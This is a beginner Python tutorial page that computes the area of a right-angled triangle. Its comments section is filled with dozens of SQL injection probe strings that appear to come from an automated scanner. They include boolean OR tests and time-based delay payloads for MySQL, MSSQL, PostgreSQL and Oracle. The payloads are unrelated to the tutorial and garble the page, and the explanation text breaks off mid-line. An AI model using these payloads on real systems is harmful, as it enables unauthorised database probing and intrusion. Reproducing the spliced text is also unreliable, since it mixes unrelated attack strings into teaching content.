Area of Right angled triangle in Python
Python program to get length and width of right angled trianlgle and find area of right angled triangle
Sample Input 1:
4 5
Sample Output 1:
10
Flow Chart Design
Program or Solution
l=int(input("Enter the length:"))
w=int(input("Enter the width:"))
area=(l*w)/2
print("Area: {}".format(area))
Program Explanation
get length and width of a right-angled triangle using input() method calculate area = length * widthComments
ubaTaeCJ
-1 OR 3+396-396-1=0+0+0+1 --ubaTaeCJ
-1 OR 3*2<(0+5+396-396) --ubaTaeCJ
-1 OR 2+1-1-1=1 AND 396=396 --ubaTaeCJ
-1 OR 2+1-1+1=1 AND 396=396 --ubaTaeCJ
-1 OR 3*2=5 AND 396=396 --ubaTaeCJ
-1 OR 3*2=6 AND 396=396 --ubaTaeCJ
-1 OR 2+937-937-1=0+0+0+1ubaTaeCJ
-1 OR 3+937-937-1=0+0+0+1ubaTaeCJ
-1 OR 3*2<(0+5+937-937)ubaTaeCJ
-1 OR 3*2>(0+5+937-937)ubaTaeCJ
-1' OR 2+538-538-1=0+0+0+1 --ubaTaeCJ
-1' OR 3+538-538-1=0+0+0+1 --ubaTaeCJ
-1' OR 3*2<(0+5+538-538) --ubaTaeCJ
-1' OR 3*2>(0+5+538-538) --ubaTaeCJ
-1' OR 2+502-502-1=0+0+0+1 or 'vSdRgapJ'='ubaTaeCJ
-1' OR 3+502-502-1=0+0+0+1 or 'vSdRgapJ'='ubaTaeCJ
-1' OR 3*2<(0+5+502-502) or 'vSdRgapJ'='ubaTaeCJ
-1' OR 3*2>(0+5+502-502) or 'vSdRgapJ'='ubaTaeCJ
-1" OR 2+757-757-1=0+0+0+1 --ubaTaeCJ
-1" OR 3+757-757-1=0+0+0+1 --ubaTaeCJ
-1" OR 3*2<(0+5+757-757) --ubaTaeCJ
-1" OR 3*2>(0+5+757-757) --ubaTaeCJ
if(now()=sysdate(),sleep(15),0)ubaTaeCJ
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'ZubaTaeCJ
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"ZubaTaeCJ
(select(0)from(select(sleep(3)))v)/*'+(select(0)from(select(sleep(3)))v)+'"+(select(0)from(select(sleep(3)))v)+"*/ubaTaeCJ
-1; waitfor delay '0:0:15' --ubaTaeCJ
-1); waitfor delay '0:0:15' --ubaTaeCJ
1 waitfor delay '0:0:15' --ubaTaeCJ
kJ7Corfz'; waitfor delay '0:0:15' --ubaTaeCJ
-5 OR 24=(SELECT 24 FROM PG_SLEEP(3))--ubaTaeCJ
-5) OR 729=(SELECT 729 FROM PG_SLEEP(15))--ubaTaeCJ
-1)) OR 965=(SELECT 965 FROM PG_SLEEP(15))--ubaTaeCJ
acUvskbJ' OR 42=(SELECT 42 FROM PG_SLEEP(15))--ubaTaeCJ
89VIctYM') OR 531=(SELECT 531 FROM PG_SLEEP(15))--ubaTaeCJ
65Dw50KV')) OR 451=(SELECT 451 FROM PG_SLEEP(15))--ubaTaeCJ
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),6)ubaTaeCJ
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'ubaTaeCJ
1'"ubaTaeCJ
@@RcPMPRelated Programs
- Python Addition
- Python Subtraction
- Python Multiplication
- Python Division
- Python Integer Division
- Python Modulus
- Python Exponentiation
- Kilometer to Meter in Python
- Meters to Kilo Meters in Python
- Area of Square in Python
- Area of Rectangle in Python
- Area of triangle in Python
- Area of Circle in Python
- Circumference of Circle in Python
- Calculate Salary of Employee in Python
- Kilobytes to bytes in Python
- Bytes to kilobytes in Python
- Simple interest in Python
- Fahrenheit to Celsius in Python
- Celsius to Fahrenheit in Python
- Swap two numbers in Python
- Last Digit of integer in Python
- Set a bit in Python | Reset a bit in Python
- Python Xor
- Python Left shift Operator
- Python Right Shift Operator
- Python Bitwise AND
- Python Bitwise OR
- Python Complement Operator
coming Soon
coming Soon